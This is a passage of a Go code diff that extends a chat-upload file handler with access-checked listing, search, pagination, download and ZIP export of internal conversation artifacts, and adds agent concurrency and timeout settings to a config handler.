maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
|
||||
)
|
||||
|
||||
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
|
||||
@@ -66,6 +77,64 @@ func (h *ChatUploadsHandler) pathAllowed(c *gin.Context, relativePath string) bo
|
||||
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", parts[1])
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) reductionPathAllowed(c *gin.Context, scope, id string) bool {
|
||||
session, ok := security.CurrentSession(c)
|
||||
if !ok || h.db == nil {
|
||||
return false
|
||||
}
|
||||
if session.Scope == database.RBACScopeAll {
|
||||
return true
|
||||
}
|
||||
id = strings.TrimSpace(id)
|
||||
switch scope {
|
||||
case "conversations":
|
||||
if id == "" || id == "default" {
|
||||
return false
|
||||
}
|
||||
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", id)
|
||||
case "projects":
|
||||
if id == "" {
|
||||
return false
|
||||
}
|
||||
return h.db.UserCanAccessResource(session.UserID, session.Scope, "project", id)
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) reductionVirtualPathAllowed(c *gin.Context, relativePath string) bool {
|
||||
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
|
||||
parts := strings.Split(filepath.ToSlash(rel), "/")
|
||||
if len(parts) < 2 {
|
||||
return false
|
||||
}
|
||||
return h.reductionPathAllowed(c, parts[0], parts[1])
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) conversationArtifactPathAllowed(c *gin.Context, conversationID string) bool {
|
||||
session, ok := security.CurrentSession(c)
|
||||
if !ok || h.db == nil {
|
||||
return false
|
||||
}
|
||||
if session.Scope == database.RBACScopeAll {
|
||||
return true
|
||||
}
|
||||
conversationID = strings.TrimSpace(conversationID)
|
||||
if conversationID == "" || conversationID == "default" {
|
||||
return false
|
||||
}
|
||||
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", conversationID)
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) conversationArtifactVirtualPathAllowed(c *gin.Context, relativePath string) bool {
|
||||
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
|
||||
parts := strings.Split(filepath.ToSlash(rel), "/")
|
||||
if len(parts) < 1 {
|
||||
return false
|
||||
}
|
||||
return h.conversationArtifactPathAllowed(c, parts[0])
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) absRoot() (string, error) {
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
@@ -74,6 +143,46 @@ func (h *ChatUploadsHandler) absRoot() (string, error) {
|
||||
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) absReductionRoot() (string, error) {
|
||||
if h.db != nil {
|
||||
if base := strings.TrimSpace(h.db.EinoReductionBaseDir()); base != "" {
|
||||
if filepath.IsAbs(base) {
|
||||
return filepath.Abs(base)
|
||||
}
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Abs(filepath.Join(cwd, base))
|
||||
}
|
||||
}
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Abs(filepath.Join(cwd, reductionRootDirName))
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) absConversationArtifactsRoot() (string, error) {
|
||||
if h.db != nil {
|
||||
if base := strings.TrimSpace(h.db.ConversationArtifactsBaseDir()); base != "" {
|
||||
if filepath.IsAbs(base) {
|
||||
return filepath.Abs(base)
|
||||
}
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Abs(filepath.Join(cwd, base))
|
||||
}
|
||||
}
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Abs(filepath.Join(cwd, artifactsRootDirName))
|
||||
}
|
||||
|
||||
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
|
||||
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
|
||||
root, err := h.absRoot()
|
||||
@@ -105,30 +214,44 @@ type ChatUploadFileItem struct {
|
||||
RelativePath string `json:"relativePath"`
|
||||
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
|
||||
Name string `json:"name"`
|
||||
Source string `json:"source,omitempty"`
|
||||
Size int64 `json:"size"`
|
||||
ModifiedUnix int64 `json:"modifiedUnix"`
|
||||
Date string `json:"date"`
|
||||
ConversationID string `json:"conversationId"`
|
||||
ProjectID string `json:"projectId,omitempty"`
|
||||
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
|
||||
SubPath string `json:"subPath"`
|
||||
}
|
||||
|
||||
// List GET /api/chat-uploads
|
||||
func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
||||
func (h *ChatUploadsHandler) conversationProjectID(conversationID string, cache map[string]string) string {
|
||||
conversationID = strings.TrimSpace(conversationID)
|
||||
if conversationID == "" || conversationID == "_manual" || conversationID == "_new" || h.db == nil {
|
||||
return ""
|
||||
}
|
||||
if v, ok := cache[conversationID]; ok {
|
||||
return v
|
||||
}
|
||||
projectID, err := h.db.GetConversationProjectID(conversationID)
|
||||
if err != nil {
|
||||
projectID = ""
|
||||
}
|
||||
cache[conversationID] = projectID
|
||||
return projectID
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) collectFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, []string, error) {
|
||||
root, err := h.absRoot()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
return nil, nil, err
|
||||
}
|
||||
// 保证根目录存在,否则「按文件夹」浏览时无法 mkdir,且首次列表为空时界面无路径工具栏
|
||||
if err := os.MkdirAll(root, 0755); err != nil {
|
||||
h.logger.Warn("创建 chat_uploads 根目录失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
return nil, nil, err
|
||||
}
|
||||
var files []ChatUploadFileItem
|
||||
var folders []string
|
||||
projectCache := make(map[string]string)
|
||||
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil {
|
||||
return walkErr
|
||||
@@ -157,6 +280,7 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||
if len(parts) >= 3 {
|
||||
convID = parts[1]
|
||||
}
|
||||
projectID := h.conversationProjectID(convID, projectCache)
|
||||
var subPath string
|
||||
if len(parts) >= 4 {
|
||||
subPath = strings.Join(parts[2:len(parts)-1], "/")
|
||||
@@ -164,29 +288,32 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||
if conversationFilter != "" && convID != conversationFilter {
|
||||
return nil
|
||||
}
|
||||
if projectFilter != "" && projectID != projectFilter {
|
||||
return nil
|
||||
}
|
||||
absPath, _ := filepath.Abs(path)
|
||||
files = append(files, ChatUploadFileItem{
|
||||
RelativePath: relSlash,
|
||||
AbsolutePath: absPath,
|
||||
Name: d.Name(),
|
||||
Source: chatUploadSourceUpload,
|
||||
Size: info.Size(),
|
||||
ModifiedUnix: info.ModTime().Unix(),
|
||||
Date: dateStr,
|
||||
ConversationID: convID,
|
||||
ProjectID: projectID,
|
||||
SubPath: subPath,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
h.logger.Warn("列举对话附件失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
return nil, nil, err
|
||||
}
|
||||
if conversationFilter != "" {
|
||||
if conversationFilter != "" || projectFilter != "" {
|
||||
filteredFolders := make([]string, 0, len(folders))
|
||||
for _, rel := range folders {
|
||||
parts := strings.Split(rel, "/")
|
||||
if len(parts) >= 2 && parts[1] == conversationFilter {
|
||||
if len(parts) >= 2 && (conversationFilter == "" || parts[1] == conversationFilter) && (projectFilter == "" || h.conversationProjectID(parts[1], projectCache) == projectFilter) {
|
||||
filteredFolders = append(filteredFolders, rel)
|
||||
continue
|
||||
}
|
||||
@@ -221,12 +348,480 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||
sort.Slice(files, func(i, j int) bool {
|
||||
return files[i].ModifiedUnix > files[j].ModifiedUnix
|
||||
})
|
||||
c.JSON(http.StatusOK, gin.H{"files": files, "folders": folders})
|
||||
reductionFiles, err := h.collectReductionFiles(c, conversationFilter, projectFilter)
|
||||
if err != nil {
|
||||
h.logger.Warn("列举 reduction 产物失败", zap.Error(err))
|
||||
} else if len(reductionFiles) > 0 {
|
||||
files = append(files, reductionFiles...)
|
||||
}
|
||||
artifactFiles, err := h.collectConversationArtifactFiles(c, conversationFilter, projectFilter)
|
||||
if err != nil {
|
||||
h.logger.Warn("列举 conversation_artifacts 产物失败", zap.Error(err))
|
||||
} else if len(artifactFiles) > 0 {
|
||||
files = append(files, artifactFiles...)
|
||||
}
|
||||
sort.Slice(files, func(i, j int) bool {
|
||||
return files[i].ModifiedUnix > files[j].ModifiedUnix
|
||||
})
|
||||
return files, folders, nil
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) collectReductionFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
|
||||
root, err := h.absReductionRoot()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if st, err := os.Stat(root); err != nil || !st.IsDir() {
|
||||
return nil, nil
|
||||
}
|
||||
projectCache := make(map[string]string)
|
||||
files := make([]ChatUploadFileItem, 0)
|
||||
for _, scope := range []string{"conversations", "projects"} {
|
||||
scopeRoot := filepath.Join(root, scope)
|
||||
_ = filepath.WalkDir(scopeRoot, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d == nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
rel, err := filepath.Rel(root, path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
relSlash := filepath.ToSlash(rel)
|
||||
parts := strings.Split(relSlash, "/")
|
||||
if len(parts) < 3 {
|
||||
return nil
|
||||
}
|
||||
ownerID := parts[1]
|
||||
if !h.reductionPathAllowed(c, scope, ownerID) {
|
||||
return nil
|
||||
}
|
||||
var convID, projectID string
|
||||
if scope == "conversations" {
|
||||
convID = ownerID
|
||||
projectID = h.conversationProjectID(convID, projectCache)
|
||||
} else {
|
||||
projectID = ownerID
|
||||
}
|
||||
if conversationFilter != "" && convID != conversationFilter {
|
||||
return nil
|
||||
}
|
||||
if projectFilter != "" && projectID != projectFilter {
|
||||
return nil
|
||||
}
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
name := d.Name()
|
||||
if filepath.Ext(name) == "" {
|
||||
name += ".txt"
|
||||
}
|
||||
abs, _ := filepath.Abs(path)
|
||||
files = append(files, ChatUploadFileItem{
|
||||
RelativePath: reductionVirtualPrefix + relSlash,
|
||||
AbsolutePath: abs,
|
||||
Name: name,
|
||||
Source: chatUploadSourceReduction,
|
||||
Size: info.Size(),
|
||||
ModifiedUnix: info.ModTime().Unix(),
|
||||
Date: info.ModTime().Format("2006-01-02"),
|
||||
ConversationID: convID,
|
||||
ProjectID: projectID,
|
||||
SubPath: strings.Join(parts[2:len(parts)-1], "/"),
|
||||
})
|
||||
return nil
|
||||
})
|
||||
}
|
||||
return files, nil
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) collectConversationArtifactFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
|
||||
root, err := h.absConversationArtifactsRoot()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if st, err := os.Stat(root); err != nil || !st.IsDir() {
|
||||
return nil, nil
|
||||
}
|
||||
projectCache := make(map[string]string)
|
||||
files := make([]ChatUploadFileItem, 0)
|
||||
_ = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d == nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
rel, err := filepath.Rel(root, path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
relSlash := filepath.ToSlash(rel)
|
||||
parts := strings.Split(relSlash, "/")
|
||||
if len(parts) < 2 {
|
||||
return nil
|
||||
}
|
||||
convID := parts[0]
|
||||
if !h.conversationArtifactPathAllowed(c, convID) {
|
||||
return nil
|
||||
}
|
||||
projectID := h.conversationProjectID(convID, projectCache)
|
||||
if conversationFilter != "" && convID != conversationFilter {
|
||||
return nil
|
||||
}
|
||||
if projectFilter != "" && projectID != projectFilter {
|
||||
return nil
|
||||
}
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
name := d.Name()
|
||||
if filepath.Ext(name) == "" {
|
||||
name += ".txt"
|
||||
}
|
||||
abs, _ := filepath.Abs(path)
|
||||
files = append(files, ChatUploadFileItem{
|
||||
RelativePath: artifactVirtualPrefix + relSlash,
|
||||
AbsolutePath: abs,
|
||||
Name: name,
|
||||
Source: chatUploadSourceConversation,
|
||||
Size: info.Size(),
|
||||
ModifiedUnix: info.ModTime().Unix(),
|
||||
Date: info.ModTime().Format("2006-01-02"),
|
||||
ConversationID: convID,
|
||||
ProjectID: projectID,
|
||||
SubPath: strings.Join(parts[1:len(parts)-1], "/"),
|
||||
})
|
||||
return nil
|
||||
})
|
||||
return files, nil
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) resolveReductionVirtualPath(relativePath string) (string, error) {
|
||||
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
|
||||
rel = filepath.Clean(filepath.FromSlash(rel))
|
||||
if rel == "." || strings.HasPrefix(rel, "..") {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
root, err := h.absReductionRoot()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
full, err := filepath.Abs(filepath.Join(root, rel))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
rootAbs, _ := filepath.Abs(root)
|
||||
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
|
||||
return "", fmt.Errorf("path escapes reduction root")
|
||||
}
|
||||
return full, nil
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) resolveConversationArtifactVirtualPath(relativePath string) (string, error) {
|
||||
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
|
||||
rel = filepath.Clean(filepath.FromSlash(rel))
|
||||
if rel == "." || strings.HasPrefix(rel, "..") {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
root, err := h.absConversationArtifactsRoot()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
full, err := filepath.Abs(filepath.Join(root, rel))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
rootAbs, _ := filepath.Abs(root)
|
||||
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
|
||||
return "", fmt.Errorf("path escapes conversation artifacts root")
|
||||
}
|
||||
return full, nil
|
||||
}
|
||||
|
||||
func chatUploadItemIsInternal(item ChatUploadFileItem) bool {
|
||||
return item.Source == chatUploadSourceReduction ||
|
||||
item.Source == chatUploadSourceConversation ||
|
||||
strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) ||
|
||||
strings.HasPrefix(item.RelativePath, artifactVirtualPrefix)
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) resolveListedFilePath(item ChatUploadFileItem) (string, error) {
|
||||
switch {
|
||||
case item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix):
|
||||
return h.resolveReductionVirtualPath(item.RelativePath)
|
||||
case item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix):
|
||||
return h.resolveConversationArtifactVirtualPath(item.RelativePath)
|
||||
default:
|
||||
return h.resolveUnderChatUploads(item.RelativePath)
|
||||
}
|
||||
}
|
||||
|
||||
func chatUploadSourceMatches(item ChatUploadFileItem, sourceFilter string) bool {
|
||||
sourceFilter = strings.TrimSpace(sourceFilter)
|
||||
if sourceFilter == "" || sourceFilter == "all" {
|
||||
return true
|
||||
}
|
||||
source := strings.TrimSpace(item.Source)
|
||||
if source == "" {
|
||||
source = chatUploadSourceUpload
|
||||
}
|
||||
return source == sourceFilter
|
||||
}
|
||||
|
||||
func chatUploadSearchMatches(item ChatUploadFileItem, search string) bool {
|
||||
search = strings.ToLower(strings.TrimSpace(search))
|
||||
if search == "" {
|
||||
return true
|
||||
}
|
||||
values := []string{
|
||||
item.RelativePath,
|
||||
item.Name,
|
||||
item.Source,
|
||||
item.Date,
|
||||
item.ConversationID,
|
||||
item.ProjectID,
|
||||
item.SubPath,
|
||||
}
|
||||
for _, value := range values {
|
||||
if strings.Contains(strings.ToLower(value), search) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func filterChatUploadItems(files []ChatUploadFileItem, sourceFilter, search string) []ChatUploadFileItem {
|
||||
if strings.TrimSpace(sourceFilter) == "" && strings.TrimSpace(search) == "" {
|
||||
return files
|
||||
}
|
||||
out := make([]ChatUploadFileItem, 0, len(files))
|
||||
for _, item := range files {
|
||||
if chatUploadSourceMatches(item, sourceFilter) && chatUploadSearchMatches(item, search) {
|
||||
out = append(out, item)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parsePositiveIntQuery(c *gin.Context, key string, def, max int) int {
|
||||
raw := strings.TrimSpace(c.Query(key))
|
||||
if raw == "" {
|
||||
return def
|
||||
}
|
||||
if strings.EqualFold(raw, "all") {
|
||||
return 0
|
||||
}
|
||||
n, err := strconv.Atoi(raw)
|
||||
if err != nil || n <= 0 {
|
||||
return def
|
||||
}
|
||||
if max > 0 && n > max {
|
||||
return max
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func paginateChatUploadItems(files []ChatUploadFileItem, page, pageSize int) []ChatUploadFileItem {
|
||||
if pageSize <= 0 {
|
||||
return files
|
||||
}
|
||||
if page <= 0 {
|
||||
page = 1
|
||||
}
|
||||
start := (page - 1) * pageSize
|
||||
if start >= len(files) {
|
||||
return []ChatUploadFileItem{}
|
||||
}
|
||||
end := start + pageSize
|
||||
if end > len(files) {
|
||||
end = len(files)
|
||||
}
|
||||
return files[start:end]
|
||||
}
|
||||
|
||||
// List GET /api/chat-uploads
|
||||
func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
||||
projectFilter := strings.TrimSpace(c.Query("project"))
|
||||
sourceFilter := strings.TrimSpace(c.Query("source"))
|
||||
search := strings.TrimSpace(c.Query("search"))
|
||||
page := parsePositiveIntQuery(c, "page", 1, 0)
|
||||
pageSize := parsePositiveIntQuery(c, "pageSize", 20, 200)
|
||||
files, folders, err := h.collectFiles(c, conversationFilter, projectFilter)
|
||||
if err != nil {
|
||||
h.logger.Warn("列举对话附件失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
files = filterChatUploadItems(files, sourceFilter, search)
|
||||
total := len(files)
|
||||
paged := paginateChatUploadItems(files, page, pageSize)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"files": paged,
|
||||
"folders": folders,
|
||||
"total": total,
|
||||
"page": page,
|
||||
"pageSize": pageSize,
|
||||
})
|
||||
}
|
||||
|
||||
// Export GET /api/chat-uploads/export?conversation=...&project=...
|
||||
func (h *ChatUploadsHandler) Export(c *gin.Context) {
|
||||
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
||||
projectFilter := strings.TrimSpace(c.Query("project"))
|
||||
sourceFilter := strings.TrimSpace(c.Query("source"))
|
||||
search := strings.TrimSpace(c.Query("search"))
|
||||
files, _, err := h.collectFiles(c, conversationFilter, projectFilter)
|
||||
if err != nil {
|
||||
h.logger.Warn("导出对话附件失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
files = filterChatUploadItems(files, sourceFilter, search)
|
||||
if len(files) == 0 {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "no files to export"})
|
||||
return
|
||||
}
|
||||
nameParts := []string{"chat-files"}
|
||||
if projectFilter != "" {
|
||||
nameParts = append(nameParts, "project-"+projectFilter)
|
||||
}
|
||||
if conversationFilter != "" {
|
||||
nameParts = append(nameParts, "conversation-"+conversationFilter)
|
||||
}
|
||||
nameParts = append(nameParts, time.Now().Format("20060102-150405"))
|
||||
filename := strings.Join(nameParts, "-") + ".zip"
|
||||
c.Header("Content-Type", "application/zip")
|
||||
c.Header("Content-Disposition", mime.FormatMediaType("attachment", map[string]string{"filename": filename}))
|
||||
|
||||
zw := zip.NewWriter(c.Writer)
|
||||
defer zw.Close()
|
||||
|
||||
manifest := gin.H{
|
||||
"exportedAt": time.Now().UTC().Format(time.RFC3339),
|
||||
"conversationId": conversationFilter,
|
||||
"projectId": projectFilter,
|
||||
"source": sourceFilter,
|
||||
"search": search,
|
||||
"fileCount": len(files),
|
||||
"files": files,
|
||||
"layout": "chat uploads are stored under conversations/<conversationId>/; internal outputs are stored under internal/<source>/",
|
||||
"sourceDirectory": []string{chatUploadsRootDirName, reductionRootDirName, artifactsRootDirName},
|
||||
}
|
||||
manifestBytes, _ := json.MarshalIndent(manifest, "", " ")
|
||||
mw, err := zw.Create("manifest.json")
|
||||
if err != nil {
|
||||
h.logger.Warn("写入附件导出清单失败", zap.Error(err))
|
||||
return
|
||||
}
|
||||
_, _ = mw.Write(manifestBytes)
|
||||
|
||||
used := make(map[string]int)
|
||||
for _, item := range files {
|
||||
abs, err := h.resolveListedFilePath(item)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
if err != nil || st.IsDir() {
|
||||
continue
|
||||
}
|
||||
var zipName string
|
||||
if item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) {
|
||||
rel := strings.TrimPrefix(item.RelativePath, reductionVirtualPrefix)
|
||||
zipName = filepath.ToSlash(filepath.Join("internal", "reduction", rel))
|
||||
if filepath.Ext(zipName) == "" {
|
||||
zipName += ".txt"
|
||||
}
|
||||
} else if item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix) {
|
||||
rel := strings.TrimPrefix(item.RelativePath, artifactVirtualPrefix)
|
||||
zipName = filepath.ToSlash(filepath.Join("internal", "conversation_artifacts", rel))
|
||||
if filepath.Ext(zipName) == "" {
|
||||
zipName += ".txt"
|
||||
}
|
||||
} else {
|
||||
conv := strings.TrimSpace(item.ConversationID)
|
||||
if conv == "" || conv == "_manual" || conv == "_new" {
|
||||
conv = "manual"
|
||||
}
|
||||
zipName = filepath.ToSlash(filepath.Join("conversations", conv, strings.TrimSpace(item.SubPath), item.Name))
|
||||
}
|
||||
if used[zipName] > 0 {
|
||||
ext := filepath.Ext(zipName)
|
||||
zipName = strings.TrimSuffix(zipName, ext) + fmt.Sprintf("-%d", used[zipName]+1) + ext
|
||||
}
|
||||
used[zipName]++
|
||||
fw, err := zw.Create(zipName)
|
||||
if err != nil {
|
||||
h.logger.Warn("创建附件导出项失败", zap.String("path", item.RelativePath), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
src, err := os.Open(abs)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
_, copyErr := io.Copy(fw, src)
|
||||
_ = src.Close()
|
||||
if copyErr != nil {
|
||||
h.logger.Warn("复制附件导出项失败", zap.String("path", item.RelativePath), zap.Error(copyErr))
|
||||
return
|
||||
}
|
||||
}
|
||||
if h.audit != nil {
|
||||
h.audit.RecordOK(c, "file", "export", "导出对话附件", "chat_upload", filename, map[string]interface{}{
|
||||
"conversation_id": conversationFilter,
|
||||
"project_id": projectFilter,
|
||||
"file_count": len(files),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Download GET /api/chat-uploads/download?path=...
|
||||
func (h *ChatUploadsHandler) Download(c *gin.Context) {
|
||||
p := c.Query("path")
|
||||
if strings.HasPrefix(strings.TrimSpace(p), reductionVirtualPrefix) {
|
||||
if !h.reductionVirtualPathAllowed(c, p) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
}
|
||||
abs, err := h.resolveReductionVirtualPath(p)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
if err != nil || st.IsDir() {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
name := filepath.Base(abs)
|
||||
if filepath.Ext(name) == "" {
|
||||
name += ".txt"
|
||||
}
|
||||
c.FileAttachment(abs, name)
|
||||
return
|
||||
}
|
||||
if strings.HasPrefix(strings.TrimSpace(p), artifactVirtualPrefix) {
|
||||
if !h.conversationArtifactVirtualPathAllowed(c, p) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
}
|
||||
abs, err := h.resolveConversationArtifactVirtualPath(p)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
if err != nil || st.IsDir() {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
name := filepath.Base(abs)
|
||||
if filepath.Ext(name) == "" {
|
||||
name += ".txt"
|
||||
}
|
||||
c.FileAttachment(abs, name)
|
||||
return
|
||||
}
|
||||
if !h.pathAllowed(c, p) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
|
||||
+152
-4
@@ -258,6 +258,7 @@ func (h *ConfigHandler) ApplyWechatRobotBinding(wc config.RobotWechatConfig) err
|
||||
|
||||
// GetConfigResponse 获取配置响应
|
||||
type GetConfigResponse struct {
|
||||
AI config.AIConfig `json:"ai"`
|
||||
OpenAI config.OpenAIConfig `json:"openai"`
|
||||
Vision config.VisionConfig `json:"vision"`
|
||||
FOFA config.FofaConfig `json:"fofa"`
|
||||
@@ -363,6 +364,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, GetConfigResponse{
|
||||
AI: h.config.AI,
|
||||
OpenAI: h.config.OpenAI,
|
||||
Vision: h.config.Vision,
|
||||
FOFA: h.config.FOFA,
|
||||
@@ -706,6 +708,7 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
|
||||
// UpdateConfigRequest 更新配置请求
|
||||
type UpdateConfigRequest struct {
|
||||
AI *config.AIConfig `json:"ai,omitempty"`
|
||||
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
|
||||
Vision *config.VisionConfig `json:"vision,omitempty"`
|
||||
FOFA *config.FofaConfig `json:"fofa,omitempty"`
|
||||
@@ -725,9 +728,14 @@ type UpdateConfigRequest struct {
|
||||
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
|
||||
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
|
||||
type AgentConfigUpdate struct {
|
||||
MaxIterations *int `json:"max_iterations,omitempty"`
|
||||
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
|
||||
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
|
||||
MaxIterations *int `json:"max_iterations,omitempty"`
|
||||
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
|
||||
ToolWaitTimeoutSeconds *int `json:"tool_wait_timeout_seconds,omitempty"`
|
||||
ExternalMCPMaxConcurrentPerServer *int `json:"external_mcp_max_concurrent_per_server,omitempty"`
|
||||
ExternalMCPMaxConcurrentTotal *int `json:"external_mcp_max_concurrent_total,omitempty"`
|
||||
ExternalMCPCircuitFailureThreshold *int `json:"external_mcp_circuit_failure_threshold,omitempty"`
|
||||
ExternalMCPCircuitCooldownSeconds *int `json:"external_mcp_circuit_cooldown_seconds,omitempty"`
|
||||
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
|
||||
}
|
||||
|
||||
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
||||
@@ -740,6 +748,21 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
||||
if src.ToolTimeoutMinutes != nil {
|
||||
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
|
||||
}
|
||||
if src.ToolWaitTimeoutSeconds != nil {
|
||||
dst.ToolWaitTimeoutSeconds = *src.ToolWaitTimeoutSeconds
|
||||
}
|
||||
if src.ExternalMCPMaxConcurrentPerServer != nil {
|
||||
dst.ExternalMCPMaxConcurrentPerServer = *src.ExternalMCPMaxConcurrentPerServer
|
||||
}
|
||||
if src.ExternalMCPMaxConcurrentTotal != nil {
|
||||
